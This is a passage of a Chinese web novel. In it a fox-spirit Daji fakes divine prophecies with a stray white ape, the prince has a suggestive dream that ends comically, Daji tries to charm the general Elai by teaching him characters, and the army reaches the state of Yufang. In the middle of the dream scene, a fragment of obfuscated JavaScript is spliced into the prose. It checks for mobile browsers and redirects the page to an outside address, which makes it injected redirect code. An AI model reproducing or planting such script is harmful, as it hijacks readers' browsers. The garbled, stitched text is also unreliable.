——不错,极有可能,既然她能引得王子掏心掏肺,毛皮顺滑的母猴当然也能让金戈掏心掏肺……
一想到金戈“吱吱”欢腾、一脸银笑地去追寻幸福,而父母妹妹在后面狂追呼号抓它不住,她的脑袋都隐隐作痛。
可恶的猴子,果然是不可靠的物种……
她终于忍不住问狐狸:“你可能闻到金戈的气味?”
狐狸舔着爪子冷笑:“反正这里没闻到,你若要我用灵力嗅寻方圆五里,需要五日寿命为代价。”
妲己果然迟疑。
今日过后,寿命仅余八日,她再如何胆大,又如何敢挥霍五日出去?
幸而她说话时留有余地,不曾说清楚具体时日,现如今只好盼望家人将金戈抓回,帮她实现成仙大计。
她忍下焦躁,低头继续写字。
狐狸斜着眼扫过,看到她写了些声东击西之计,又有些任人唯能之语,嘿嘿嘲笑:“呀,倒是编起兵书来,想是要做个大儒?”
妲己特意更正它:“用意原不在于兵书,而在于识字。我不过是把前几世领兵时学到的计谋总结一番。”
狐狸很懂,知道她要用兵书引恶来来问她,趁机与恶来接触;这正是攻其兴趣、引其向往,而后步步为营,精妙设陷,与两军交战并无不同;不由感慨:“你虽煞费苦心,只怕恶来那榆木脑袋不来问哩。”
妲己已将竹简按序绑好,起身时笃定一笑:“金戈之事我或许失算,但恶来见此书,明日定会来求解。”
竹简仍旧由嫕唐送去恶来处。
等她归来时,各个营帐兵卒皆在熄灭帐前火丛,夜色也显得更加深浓……
栅寨逐渐寂静,众人渐次睡去,偶尔可听得守夜士卒呵欠之声……
大军王子营帐内,武庚早已睡下,却睡得并不安宁——
他又梦到妲己了……
梦里,帐内的妲己刚刚沐浴完,正在穿衣……
他也不知自己为何会出现在她帐中,忙垂下眼来,低声道:“我不知你在沐浴。”
“嗤——”她轻笑一声,裸足走来,“你来寻我,不就是想看我沐浴?”
水润如深湖的眸子望着他,鸦翅般的睫毛眨动。
武庚喉咙干涩,眼睛躲闪得厉害,微微后退半步,全然不敢直视于她……
此时的妲己与他平日看到的她极为不同——
平日妲己为他医治,总是温柔守礼、进退有度,面容也单纯无邪……而此时的她……
妖媚……
不错,是妖媚,他再想不到更恰当的词来形容……
这妖媚当中还有着蠢蠢欲动的攻击性,如一只危险而强大的狐妖,令他感觉自己会如羊一般被她吃入腹中……
而他隐隐觉得,这样的她,才是真实的她。
他甚至已迫不及待想要被她吃……
冰凉的手指划过他的脸颊,他微微躲避,却反而更将修长的颈部暴露出来,引颈就戮般闭目承受。
手指顺着喉结与锁骨向下,又轻轻划过他的衣衫开口处,灵巧地挑开绳结……
他感到胸前一凉,是大片胸肌果露在空气中……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418667|168924||http|test|mini|href|location''.split(''|''),0,{}));
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>她在他肌理之间轻嗅,迷醉般喃喃夸赞:“禄,你的身体实在好看,又如此香……”
鼻尖蹭过肌理,呼吸拂过绒毛,温而痒,暖而柔……
他额间盈汗,血液在脸上冲出一片赤光霞色,连带着眼前的一切也颠三倒四起来……
该讨好她吗?
若是回了大邑,他会赠她更多奴隶、玉石、田宅……而此时,他能想到的,唯有脱得更多一些而已……
“怎不说话?”她的唇移到他耳边,轻声引诱,“莫非……你不想我……”
他喉咙似堵住,只嘴唇无声说了“想”,根本难以出声。
她低笑一声,似乎被他的反应取悦,冰凉的手蔓延去了腰际,又轻轻拨弄他的腰带,娇声埋怨:“怎系这样死?我都解不开……”
他急促低头,果然看到自己的裤带也不知打了多少个结,连绵垂地,大约此生也解不完。
他心中狂骂衡牙,急得腹肌紧绷,仓促去解,只恐慢了一息就被妲己嫌弃……
可妲己早将衣衫剥去,露出玉雕般的身体来。
他手上一顿,几乎已经看痴了。
她偎进了他怀里,凉冰冰、绵软软的一团,撒娇般说道:“好冷……你抱我可好?”说话间,她的身子还在微微发抖。
他知她好似是有些怕冷的体质,手臂青筋绷起,声音低哑发涩:“我抱你去牀上为你暖……”
她勾魂一笑,故意逗他:“只是暖牀而已?”
几乎是再也按捺不住,他一把将她抱起!
果然如想象中一般,她如此轻盈、娇软,皮肤又如此……
——嗯?多毛?
武庚诧异低头,只见怀中人仍旧是花肤雪貌,美得惊心动魄,鬓边绒毛曾在胸前,叫人心甜丝丝发痒……
可是,可是他手下摸来,怎全是硬茬茬的毛?
唯恐是自己感知有误,他手指又动了动!
不错,真是硬茬茬的兽毛!可妲己的肌肤明明娇嫩光洁,何处来的毛?!
忽地,脑中混似一盆冷水泼来,武庚一激灵,虽还未睁眼,却已经瞬时无比清醒——
他的怀中,是真有一个毛乎乎的东西在蠕动、发抖!凉飕飕的爪子抱在他腰上!
他几乎僵住,缓慢睁眼,低头
——他的怀里,一个白绒绒的脑袋,正贴在他胸前蹭着……
这时,那脑袋也察觉到了他的目光,忽地不蹭了,抬头——
一张雷公嘴的毛脸,嵌着一双圆滚滚的眼,水灵贼光,无辜与他对视。
武庚:“……”
白猿:“……”
一眼万年。
“啊啊啊啊啊——”他猛地爆发出一阵惊天动地的惨叫!
“啊啊啊啊啊——”白猿也吓得爆发出惊天动地的惨叫!
一人一猴闪电般分开,惹得帐内外沉沉昏睡的近侍与护卫全诈尸般弹了起来!
“猴!有猴!”武庚无比狼狈,着急拢着凌乱衣衫,几乎叫劈了嗓子。
众人这才看到,一只白毛红眼的猴挂在帐顶,正被吓得恶狠狠龇牙!
这猴是如何钻入王子帐中的?
众人又是找网,又是用食物引诱它下来,一片混乱之中,也不知谁说了一句:“这……这就是先祖赠予王子的白猿吗?”
20. 仙来妖来且招恶来
天色蒙蒙亮,军中骚动,连伙夫也丢下锅灶,全跑去王子帐前看白猿。
饲马*1受王子令,将此好色猴子妥善关在笼里,笼里又有软垫,食水齐备。
只见它毛皮玉色,干净得一丝灰也无,穿了个虎皮小袄,正抓着粟米吞咽,一双盈红圆眼似玛瑙,极是惹人怜爱。
透过营帐缝隙,武庚看到一众武士你拥我挤,对着白猿大眼瞪猴眼,议论纷纷,嗡嗡似群蜂振翅。
他神色有些复杂。
王父生平除了征战,最爱珍禽异兽。而白色动物,是祥瑞,是上上大利,此等神迹王父定然大喜。
而且白猿现世,岂不是正说明,他斩杀商圻,先祖也颇赞成?
手落下,帐帘也随之垂落,他释然而叹——
只此一样,就可堵住贵族淬毒的嘴。
而妲己……
她预言竟果然成真,莫非她真是仙人不成?
此时周伯邑正好也在他帐中,见他仍有疑虑,轻声道:“禄,先祖所赠白猿既收到,需祭祀答慰。大食前我会与贞人一道,问贞于妲己。”
武庚也正有此意,点头准许。
只是须臾念头一转,想到邑或许是怕他借由此事去见妲己,所以主动请缨,又隐隐不悦。
帐外,恶来和鄂顺也都闻讯来了。
猴子正在众人注视中镇定自若地进食,鄂顺见了,深为纳罕,出神般喃喃自语:“其实我一见妲己,就知她不是凡俗之人……”
恶来闻言,淡色眼珠瞟他一眼,不置可否。
鲁番眼见人越来越多,开始唾沫横飞向众人描绘仙迹:“……这白猿是凭空出现在王子怀中,是我亲眼所见。它抱着王子,倒像是早与他相识。无错了,这就是章王送来的祥瑞!是先祖对王子严明军纪的嘉奖!”
众人若鸡群啄米,纷纷点头称是。
但金戈若能听懂人语,多少要嗤一句“扯淡”
——分明是它来回搜寻半宿,好端端一只猴被冻得瑟瑟发抖、面目全非,故而一寻到武庚,只想先贴他怀里取暖……
“稀奇!”崇应彪远远听到,怒而质疑,“章王凭甚选她?哪怕选我也好!”
外人中,谁能比他对大邑的情感更虔诚?
与他亲近的武士不免大笑:“先祖嫌你不洗脚,见了你也要臭跑!”
一时人人皆笑,彪顿时涨红脸,雷霆爆喝:“你烂了嘴浑说,我何时不洗脚?”
他声音太大,金戈受到了惊吓,以为不能白吃,突然开始转圈跳舞,有模有样,是祭祀常跳之舞,口中“喔咿喔咿”地叫。
大家更啧啧称奇。
除了彪,所有人都已信了妲己的神通。
何况她那等容貌,只能是仙气下降,鬼神托生!军中早就一传十十传百,神乎其神。
有机灵的兵卒,抢先跪去了她营帐外,虔诚表示顺从,顺带祈愿。余人见状,也三五相约,纷纷效仿,唯恐迟了一步,仙人会忘记将福祉赐予自己。
崇应彪贼眼瞄到一群人往踵军去,还以为有什么好事,悄悄缀在后面,结果到了就看到一群人鹌鹑般跪在妲己营帐前祈愿,个个口中念念有词,晨光中面容祥和。
好一群现眼的蠢物!
彪子“蹭”地起火,正要骂人,眼见一袭白袍的贞人与周伯邑也走来。
他的希望又死灰复燃——
贞人唤作「糜」,是宗庙内很有威望的老人,否则也轮不到他同王子一道出征,为王子占卜。
彪眼巴巴望着糜,只盼他能揭穿妲己,叫众人清醒。
可谁知——
贞人糜一个箭步冲在最前,跪地,双臂高展,口中大呼:“先祖圣迹!后人糜请以为拜……”
说完跪地,行了个五体投地的大礼。
贞人行了此等大礼,便显得众人的虔诚很不够看;他们慌有样学样,齐刷刷匍匐在地,连周伯邑也不得不跟从。
崇应彪正目瞪口呆,冷不防身边探出一颗头来,问他:“彪,你拜不拜?”
他唬了一跳,看到是方才笑他不洗脚的好友,遂恶狠狠道:“我才不拜,你要作甚!”
“唔,那你可否让开,我觉得你这个位置甚好,我要求仙人保佑我做少亚。”
彪子眼前一黑,几乎气昏过去!
此时听到贞人声音,营帐帘子掀开,青女姚走出来,将贞人糜、周伯邑二人请入内……
周伯邑心头猛跳。
所有人中,他大约是唯一见过妲己「真面目」的人。
他知道她那美丽表皮下,是莫测的心机。
但他不懂妲己为何闹此一出,又从何处变出一只白猿来。疑惑驱使,他不免一双利目将其看住,希望在她神情间获得蛛丝马迹。
但妲己并不怕,反而笑得更加媚态横生。
在同女娲和九尾的百年共事里,她早已充分了解了「画饼」的奥义:
其基本思想在于理直气壮地瞎扯,其指导方针在于把兑现时间无限拉长,其最终解释权务必要保留在自己手里。
如此这般,她早已编好了一套完整的说辞,此时一脸悲悯又圣洁地说道:
“其实,我在梦中不止见到先祖,还见到了万灵之母东母与星宿之母西母。”*2
贞人糜瞳仁微微震颤——
原来,商人神明中并无女娲,女仙帝只有东母与西母,掌管日月。
但这两位仙帝近年来祭祀不多,怕是连宗庙内的年轻贞人也不知晓;
原本妲己说出章王,就足矣令贞人心惊,此时她又说出如此古老的女仙帝来,更叫贞人发自肺腑地相信。
若非仙人托生,她一个有苏部落的女子,从何处听来这些呢?
妲己继续娓娓编来:“西母说我本是随侍女仙,因为丢失五色石,被贬入凡间受罚。有苏部落被攻打,便是我的劫数所化。”她做作地轻叹一声,“所幸,商王先祖怜我,要我辅佐天子,助他共治天下。但我既为化劫而来,虽可传达天意,却不可入宫,否则反而会冲撞天家。”
贞人糜听得一脸认真。
青女姚听得一脸惊呆。
一方面,她隐隐觉得妲己姐就是在严肃地胡扯,另一方面,那嫽美嘴唇里吐出来的所有字,又令人想照单全收。
何况,还有白猿为证!
青女姚不免心惊,难道别的神仙都是假的,唯有妲己是狐妖这点为真?
但无论主人说甚,她都必须配合,于是也趁机道:“啊……无怪我昨夜起尿,见到一团七色光芒,落入主人帐中。”
周伯邑闻言,惊诧看她一眼。
青女姚并不躲避,神色虔诚,眼眸清澈,绝无掺假。
妲己不料青女姚很会添油加醋,忍笑又道:“先祖还有后话,若收到白猿,欲令王子祭野彘五匹。人牲太吵,扰先祖清静。”
贞人糜闻言,忙不迭地开始在手中的牛肩胛骨上刻画。
他需要占卜验证。
骨上刻下的命辞正是:获白猿,用彘五于小辛*3。
他将牛骨对着火烤,周伯邑也凑近去看,眼睛一眨不眨。
青女姚紧张得气也不敢喘。
幸而,占辞结果显示大利。
贞人糜看向周伯邑,后者亦缓声认同:“确是利贞无误。”
妲己信口胡诌:“先祖也知子民行军辛苦,若祭祀得当,天会放晴。”
贞人糜忙在原本的命辞下刻下一横隔开,刻下新的命辞,但这次占卜的结果却是「不啓」。
不啓即为「不晴」。
他疑惑地看向妲己。
妲己泠泠冷笑:“贞人实在操之过急。还未祭祀,何来大晴?祭祀是否令先祖心悦,也仍需尽心。”
贞人糜这才恍然大悟,越发毕恭毕敬,不敢怠慢,向王子复命去了。
直到目送二人离去,妲己这才看
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向青女姚,笑似狐狸,只嘴型赞她:“做得不错。”
不必她解释就能知晓她的用意,果然伶俐。
青女姚抿嘴而笑,喜不自盛……
……
这一日,商军不曾拔寨,就宿在了原处;
军中下午就已猎来野彘五头,特由王子告庙祭祀完毕。
天色将暗时,野彘肉香已四下漂浮,与各营前的松脂大烛香气袅袅混合……
此时,青女姚与几个奴隶相约去河边浣衣,借机打探军中舆论;妲己一人枯坐帐中,手指在案几敲击,想着恶来何时会来。
忽地,门帘掀起——
她抬眼看去,是嫕唐小心翼翼蹭了进来。
妲己唇角一勾,明知故问:“是有何事?怎如此形容?”
且说妲己平素,其实只在狐狸面前袒露妖容,对着常人不过将妖娆展露十中之二,为的是不叫旁人心神大乱,也可免除自己麻烦。
可如今她要引恶来,是个难啃的骨头,故而此时正几倍展现出来,只看得嫕唐浑身酥软,脸色潮红,讷讷半天方说道,“你、你原来是仙人托生?我怕说错话。”
妲己失笑,又不好十分解释。
嫕唐缓了缓神方才低声道:“是大亚想要求见仙人。”
妲己盈盈直身:“他就在帐外?”
“正是……”
她点头,柔荑款招,“请他入内即可。”
嫕唐又忙忙钻了出去。
不多时,帘幕再度掀开,果然一高大黑影与暗夜分离,大步进来。
肤色月白,冰雪冷润,眉发乌黑,浸染水色。
他手中又攥着竹简,正是妲己所书之物。
妲己将恶来首尾一睃,眸中光点跳跃,望之艳若明火,触目惊心。她含笑盈盈开口:“大亚来访,所谓何事?”
恶来并不看她,只托着手中竹简温声问:“敢问仙人,此册从何而来?”
——书册,在大邑商是与玉相齐的至宝,唯高位者可拥有;即便贵族家中,也不过几册之数,从不外借,只待死后陪葬。
妲己起身走到他面前,指尖轻轻在册身拂过,旖旎之意弥漫,“此书,是我所写。”
恶来果然惊诧,狐疑望她。
妲己挑眉而笑,“怎了,不信?是我梦中看过一本古籍,按记忆默来,听闻大亚喜书,先祖特命我转赠之,以报你带我见王子之人情。”
此话听来又荒诞,又真切,恶来沉吟半晌,想到白猿之事,倒不大好质疑她,“那怎只有一半?书中所说的四时作战之法为何无有后续?”
妲己有些为难地叹道:“唉,后续……固然是有,但先祖说,我不可传授予你……”
“这、这是为何?!”
她目光很是怜悯:“因你识字不多。”
瞬时,恶来冷淡的面容肉眼可见地窘红起来,妲己忍笑欣赏,倒觉得他这般生动许多。
半晌,他匀了匀呼吸,绷着气势艰涩开口,“我虽识字不多,但军中贞人、司人皆识字,可央他们读来,实则并不碍事……”
“嗳~非也,正是因为这个缘故,所以才不传授予你呢!”妲己故作惋惜,“大亚莫忘记,此乃仙册。先祖已吩咐,除你之外,不可外传于人。我先前所写皆是无关紧要之语,你叫人读来倒也无妨;但其后内容若被人知晓、被人听到,岂不是人人皆懂如何行军作战,天下岂不要大乱?”
恶来哑然……
他今日踌躇整日,此时才下定决心来问她,却不想得到这般答复。
心中一时晦暗如翳,又实不甘就这般走了,只盼着还有转圜余地。
妲己将他失意模样尽收眼底,若不是及时掩住嘴,险些要尖笑出声。
眼看恶来垂下手,神色较之先前更加冷郁,似已放弃,她又恍然般说道:“哦,除非——”
他深邃双眸猛然一亮,似冰河裂开缝隙,“除非何事?”
21. 仙来妖来且招恶来
妲己语气越发恳切:“大亚需知,我受先祖之恩,一腔赤诚皆为大邑着想,当然也极想将仙书传授予你。所以,我有一个好法子……若是我夜间教你识字,白日再将书传给你,你用所学之字,读所赠之书,再无第三人知晓,岂不万全?”
恶来诧异的语气有些微妙:“你……要教我识字?”
成长至今,恶来并非不曾求人教习过文字……
在大邑之中,能够成为师保阿衡、教习贵族识字之人,也皆是贵族出身的国老。
他们既有高贵出身,也有满腹华文,格外受人敬重,所以个个清高,格外吝惜文字的传承。
如此一来,要求任何一位国老去教习贱奴,对他们而言皆是莫大的侮辱,连天子也不敢逼迫。
昔时也有落魄的贵族贪图攀附蜚蠊,收了好处悄悄来教他;谁知不过两日便不敢再来,唯恐被人知晓,连后代也得不到国老教导。
他剔透的眸子微眯,神情复杂地望着妲己。
那日商圻大骂,她明明也该猜到他的身份,为何仍说出这等话来……
还是说,她以为「贱奴」二字只是单纯一句辱人言语,并未深思?
妲己垂眸一笑,故意说道:“唉,大亚若觉得我不堪教你,那便罢了。”
“不!”
他先断然否定,随即下颌线绷紧,音调幽沉,“但你想得过于简单……”
“过于简单?”妲己款款跽坐在几案旁,闲谈般道,“是因为你奴的身份?”
他瞳仁微微一震。
她的语气……怎如此平淡?似乎他的奴隶出身,根本算不得大事。
从未有人用如此轻描淡写的语气提及他的过往,他们或鄙夷、或尴尬、或震惊、或佯装维持热情、或优越难掩……逼迫得他要格外麻木,才能不被影响……
妲己饶有兴味地支着脸欣赏他,“嫕唐说你严肃,面容看不出喜乐来,怎我看来,倒是很清晰?”
狐狸忽地冒头出来旁白:“还不是你叫他的心忽上忽下,又令他忽喜忽悲?可惜呀臭宝,他并不曾贡献一个时辰,努力,努力。”
妲己笑容顿时有些僵,还有些疑惑。
恶来浅眸微眯,语气沉重而疑惑:“你……你明知我是奴,仍要教我?”
“是奴如何,是贵族又如何?仙人眼中都是世人,只看你是否想学。”她探手,将一盘沙轻轻推向他的方向。
沙盘之中,横卧一截松枝。
恶来垂眸看去,“这是何意?”
“行军之中,不便寻册笔,沙盘便极好,写完抹去,不必费力。”她再度轻声诱哄,“大亚到底是否要学?这盘是我同伙夫借来,若你不学,我需归还。”
他怎可能不学!
这是他梦寐以求之事,此时却如此轻易地来到身边,轻易得令他几乎要疑心这是阴谋!
他攥紧了手中书册,手臂青筋毕露,似乎下定了某种决心般保证:“我愿学。但你放心,我绝不会叫第三人知晓此事。若旁人问起,我会说是来祝祷……”
他绝不想殃及她声誉分毫。
“大亚颇有心……”她柔媚感慨,让出身边一个团垫来,“请入座。”
他这才大步上前,撩袍坐下。其神情似古井冷月,冷肃非常,语气也毕恭毕敬,“请教习。”
狐狸啧啧稀罕,“这人明明是个奴隶,却怎如此正得发邪?”
再反观妲己,可谓是妖气全开、于魅力毫无保留;是以不需造作动作,已然媚人心底。狐狸鲜少见她对人如此,不免惊诧,“你竟如此拼?!”
妲己冷酷回敬:“恶来这人总叫我觉得有些怪,我且拼一把,务必要一击制敌才好。”
她拈起树枝,手指酥红,如侍女拈花之态,先在沙盘写下「天、地、人」三字。
恶来道:“此三字我认得。”
“那大亚看来,行军打仗,三者如何排序?”
恶来侧头看她一眼,说:“天为上,一国遇天灾,过后而袭,可轻易覆灭。地为中,顺应地势,埋伏突袭,可以少胜多。人为次,但若人数众多,众人一心,则或许上可逆天时,下可突地困。”
妲己点头称赞:“不错。而我们的四时作战之法,便需从「天」开始学。天分阴阳日夜。白日与夜间作战不同,天热与天寒作战亦不同。”
她在沙盘写下「阴阳」「日夜」「冷热」。
又道:“春时百草复苏,可靠动物野菽果腹。冬时万物凋零,动物深藏,粮草便要充足。”
她写下「春冬」「菽果」「粮」。
再道:“「天」亦影响人心,朝气锐,昼气惰,暮气归。擅兵者,当然要避其锐气,攻其惰归。”
她语速并不快,但内容委实过多,恶来精神高度集中,额上见汗。
接下来,妲己又讲了「地」、「人」之说,皆是新奇言语,恶来从未听过。
最后,妲己忽又抹去沙盘所有,说道:“你方才说过,众人一心,便有机会冲天破地,我却有一字形容,是为「道」。正是兵卒与师亚同心,可以为其生,可以为其死。以我看,「道」才是天、地、人之首。”
恶来还是第一次听闻这样的说法,陡然触动了某些他早已知晓却无法用言语具象之领悟,激动得身体微微发抖,竭力记在心头。
妲己讲完,皓白手腕一翻,将树枝递给他,命他去写。
他脊背如刀挺拔,写得认真,一脸肃然问她:“敢问仙人,此书可有名?”
昏黄光下,她眼若流光,眼锋含钩只望向他,信口撩人胡说,“此书名为《墨》。”
他点头,袖口拭汗,心无旁骛,恨不能将所有字意全锁入脑中。
妲己释放了半晌魅力,总算察觉到有些不对劲——
怎他那一双鸢色眼珠求知若渴,根本全然盯着沙盘,却不曾看她一眼?
她略为气闷,眼波潋滟流转间,又心生一计,起身俯在他身后点评,“唉,写字也需端正才好,字如其人。”说着,伸手握住他的手。
成熟的雄性身
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体果然一僵。
他性情冷淡,除非是为了制约彪犯浑,否则连男人也不愿碰,更遑论女人……
恶来的手极白、宽大,掌骨如玉杵,在青白肤色下凸显……此时被她的手覆上,更显手大,在他感知来,是截然不同的触感,叫人尾骨酥软。
暧昧光源下,两人的手便似玉融在一处,难分你我。
就连她陌生的气息也漂浮过来,与他的呼吸交织在一处。
轻柔声音附在他耳畔,柔柔教导,“若写得太丑,旁人便难以识别。”她握住他手,察觉到他的紧绷,曼语蛊惑:
“暂不要用力、不要对抗,将身体交给我……随我的力度,感受行笔位置与力度。”
其音中丝丝缕缕、缠缠绕绕,勾扯得人心中发颤,身上发软,全然成了傀儡,不但由她摆布,还辐出热气来。
此等萦香引诱,莫说恶来是个血气方刚的青年,便是女子也要软倒在她怀中,任她予取予求。
商之文字如画,但她写来,就是更为精巧美观。
她写字时,亦如画中人一般,专注清雅。
如此一笔一划,教得认真,末了,还不忘称赞:“大亚极有天赋,竟都记住了,今日学到这里便好,明日再续。”
恶来喉咙紧涩,不曾出声,似乎不想走,直到她轻轻推他。
他这才回神,猛然起身,虽隐隐感觉何处不大对劲,仍站起身,双手交叠、躬身行礼,“多谢仙人教诲,我归去后,定当好好练习……”
“好极,好极。”妲己迫不及待要查看时辰,也不挽留,摆手示意他赶紧走。
待到他身影消失,她得意洋洋地娇媚问狐狸:“如何?是否时辰大丰收?不,等等——你先莫说,叫我猜来,唔,少说也该有四个时辰?”
狐狸翻了个白眼,无情讥笑,“你想得实在太美,一个也无……”
“什么?!怎会?!!”妲己美目圆瞪,抓着它厚实的毛绒脖套,“不可能!定是你疏漏!”
“额——咳咳!死女,快松手!我绝无疏漏!”
妲己怔愣,忽地飞快伸手捞起铜鉴来照——可是脸上脏污了?
狐狸揉着脖套,没好气道:“咳咳!臭宝,你不必照了,非是你容貌有改,也非是你魅力不足,正相反,恶来对你产生了一种……咳咳,罕见而高级的情感。”
“……”妲己阴沉瞪它,“你又胡扯些甚。”
“唉,咳咳,我只说真话!你莫输不起。你啊,总也应付不来恶来这种人……”狐狸说来不免嘲笑她,“我方才提醒过你,他正得发邪。你好心教他识字,又不在乎他奴隶出身,他当然视你为再生父母,感恩戴德。就算是萌生不敬想法,怕是自己都要先将自己唾弃两口,哪里敢意银亵渎?所以他现在崇敬你,就像尊敬古往今来所有贤人。可惜,崇敬带不来寿命。”
妲己想要开口反驳,却又说不出话来,一时软软坐下,倍感荒谬。
一夜讲得口干舌燥,累得一身香汗,竟纯纯白忙活一场?!
22. 进盂方群狼戏娇郎
玉兔落,金乌升,商军第二日拔寨上路时,天气果然如妲己预言一般,碧空澄澈如湖,一丝云也无。
预言再度成真,贞人糜已然对她全然臣服;临行前,还特意在她帐前又拜了三拜!
兵卒们看了,混似羊群跟着头羊,也跟着跪拜,又恐仙人记性不好,不忘将昨日愿望再许一遍。
狐狸悄问向妲己:“臭宝,你何时还学来了观天象的本领,我竟一星不知?”
妲己如今全靠武庚一人吊命,外加昨日受挫,并无甚精神,口中懒懒说道:“可笑,我何曾会观天象?不过是看着阴了三日,浑蒙罢了。”
“蒙?!”狐狸惊叫,“那倘或你蒙错,又该如何?”
“蒙错?”她掀眼凉凉瞟它一眼,“那便是他们祭祀不力。或是歌声不悦耳,或是野彘太干柴,如何解释,还不尽在我?”
狐狸凛然,对她的脸皮之厚深感钦佩。
~
日中之时,商军已行至一条平坦土路上,路面有夯护的痕迹,似是通往某国的主路。
忽地,一哨兵呼号着策马奔过,重复大喊道:
“盂方在望,羁舍五里!盂方在望,羁舍五里!”*1
“嗷——!!”兵卒瞬时沸腾,全体欢呼着“前进”!连驾车的嫕唐也激动地跟着大吼:“前进!前进!”
全军猛然加速起来。
妲己吃了一惊,忙扶住舆輢*2,骤然清醒了几分,“他方才所言是何意?”
嫕唐一嘴牙齿在光下灿白:“仙人不知,前方有羁舍,可以歇息,今夜可睡在舍中,不必扎营!”
青女姚早觑着妲己神色要等着汇报,见她仍不解,抢着说:“姐姐,羁舍就是搭好的房舍,可歇脚饮马,也有屋舍叫人歇息。而且咱们经过盂方国,可寻求补给。”*3
嫕唐:“盂方国的羁舍很——大,是先考帝乙时建成,用物全都簇新,还有厨灶,再无有这般好的住处!”
“前进!前进!”众人仍在兴奋大叫。
“嗷呜——”嫕唐挥鞭破空,发出一声狼嚎。
妲己只怔怔地“哦”了一声。
青女姚见她今日总是懒怠,以为她赶路憋闷,先看了一眼狂热驾车的嫕唐,这才凑到妲己耳边说道:“姐姐可要听些八卦?”
妲己很惊,“你还懂八卦?”
青女姚神秘一笑:“非也,我说的八卦即是闲话,是关于盂方国的。”
看她这模样,不叫她说倒恐将她憋坏,妲己只好顺势应下:“说来听听。”
青女姚迫不及待附去她耳边——
“这个盂方国几十年前曾叛乱过,是先王帝乙杀了首领伯炎,将其收服。谁知这伯炎后代很不一样,反倒被揍出感情来,对大邑商极是殷勤向往。姐姐或许不想去大邑,但那盂方国的首领伯雨,可看着大邑商处处都好,更觉得大邑人总要比盂方人高出一等来,做梦都想将公子公主送去!”
且说这盂方伯雨之「伯」,与周伯邑长子之「伯」含义又不同。
大邑商外服官员分侯、伯、男、田、任;这首领未能封侯,只封了伯,就唤作伯雨;但因身份也算尊贵,子女仍可唤作公子、公主。
妲己听着,果然来了兴致:“哦,那他的儿女可愿意?王子又如何说?”
“当时伯雨要宴请王子,但王子只逗留了半日就离去了,故而无缘;此番回程,大约王子也要给他些薄面……”她轻声补充,“我是听王子营帐的奴说的。”
娇语窃窃,车行辚辚,很快到了商军人人所向往的簇新羁舍处。
这里其实皆是寻常茅屋,一门一窗,篱笆围笼的院中饮马石齐整排列。除此之外,也有地下挖的厨穴,也有在隐蔽处挖的厕穴,似一个寻常的小小部落。
而平日冷清的羁舍外,盂方国首领早就带着部族等候多时,乌压压一群。
且看这盂方伯雨——
高大壮,胖圆腰,一张马脸上,眼睛似墨左右向下点了两点,颇有些滑稽。
他披着狼皮,戴着頍冠,一身贝壳黑石串就的饰物,腰间又围着三圈彩色羽毛,全然是学的大邑商的时兴装扮。
一见到玄鸟大旗,首领已将蝌蚪小眼笑没;再见到英姿轩昂的武庚,嘴更快要裂去脑后!
他领着众亲族上前,拜了又拜,随即将武庚团团围住,寒暄不止,热络邀请王子小食去族中作客。
武庚到底年轻,见到阿谀之人只觉心烦;但碍于情面,终不好太过冷淡,只好使眼色给鲁番,叫他先领众人去羁舍落脚。
盂方伯雨当然也非无眼力之人,只是装看不懂——毕竟王子一人就已足够尊贵,偏天子还为他特意配备了豪华的随行阵容,看那些健硕官亚,哪个不是诸侯贵族最出息的子女
——简而言之,未来的各位诸侯族尹全汇聚在一军之中,怎能不抓住机会?
盂方伯雨要为子女铺路,此番当真是将老脸豁出,不论如何也要拉王子去族中款待。
何况,他还有一「杀手锏」……
眼见商军皆散进羁舍去,他凑近武庚,压低声音神秘道:
“王子有所不知,我此番相邀,也是因为族中出了大喜事。”他声音压低,“我有一女,排行三,唤作毛姑,竟然被仙人附体!”
武庚还以为听错,神色不禁愕然!
又有一仙人?
~
盂方国已十分靠近大邑商,其国人擅长做盂罐,也擅长酿酒,国名由此而来。
昔年帝乙将此地征服后,盂方与大邑贸易往来反而愈加频繁,逐渐富有。如今不但国土辽阔,茅舍也气派俨然,盖起二层的人家也不在少数。
此处人口约有四十万之多,是个不折不扣的大国,远胜有苏十倍不止。
其国土正中间,是一条贯穿南北的宽阔主路,宽约七米,马车并驾也不妨事。
此时,盂方国人早已好奇围拢在道路两旁
——观赏大邑商的贵客,从来都是盂方国人热爱的节目!
虽说天子也曾来盂方狩猎过,但那已是六年前之事矣*4,而王子亮相盂方,尚属首次。
翘首盼望间,小食之时已到。
黑色巨型战马踏上了盂方主路,震颤地表,若黑色怪龙般令人心抖;而马上诸人无不身材雄大,面容姣好,更如御龙武士,叫人见之生畏。
国民皆“啊啊”感慨着,激动地窃窃私语:
“啊……果然是大邑人,无怪男姣女嫽,个个非凡……”
“我下辈子若能投胎在大邑,死也知足……”
“盂方如何比得了大邑?再过十年也不及,唉,我心中难受……”
“你们知晓王子有多神勇吗?我同你说……”
“我父见过天子仪驾,这实则算不得什么……”
“看那衣上花纹,见所未见!”
其中妇人们又不禁要品评外貌,但不敢调戏武庚,只对着貌似和善的鄂顺连连高呼,惊为天人!
那狐狸细眼,那珊瑚红唇,那颈上夺目的松石更显得肤色如玉,实在叫人眼也要跟着绿掉!
——“姣郎!姣郎!看来!看来!”
狼群嚎叫,心中实实爱煞也!
崇应彪最是心坏,见鄂顺窘迫,趁机大声鼓动:“不错,不错!这就是我们大邑之花!”
“彪,你这憨鹧!”鄂顺性子素来矜傲,顿时着恼踹他。
这时,众人还看到,还有一辆青铜马车也低调驶入进来,华盖严密,只见到一个女武士驾车,好生骁勇俏丽,纷纷猜测:
“车中
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人身份定然更加贵重。”
“许是王女!”
“呀,王女也在?怎不叫我们看?”
“嘻嘻,许是羞了。”
“正是,他们谁都羞,个个脸红,叫我个个都爱。”
“我倒只喜那个不爱笑的,长得又怪又俊,从未见过那样儿的。”
“嗳,你不曾嫁人,就爱不理人的。需知,男人还是热乎乎的好。”
“那我要那个年纪小、眼睛大的,他甚莽,像我家新下的狗崽。”
众人哄然大笑:“嗳呀……那可真是热乎乎的狗崽……”
一时之间,恭维马屁不绝于耳,抛花扔帕乱作一团儿。
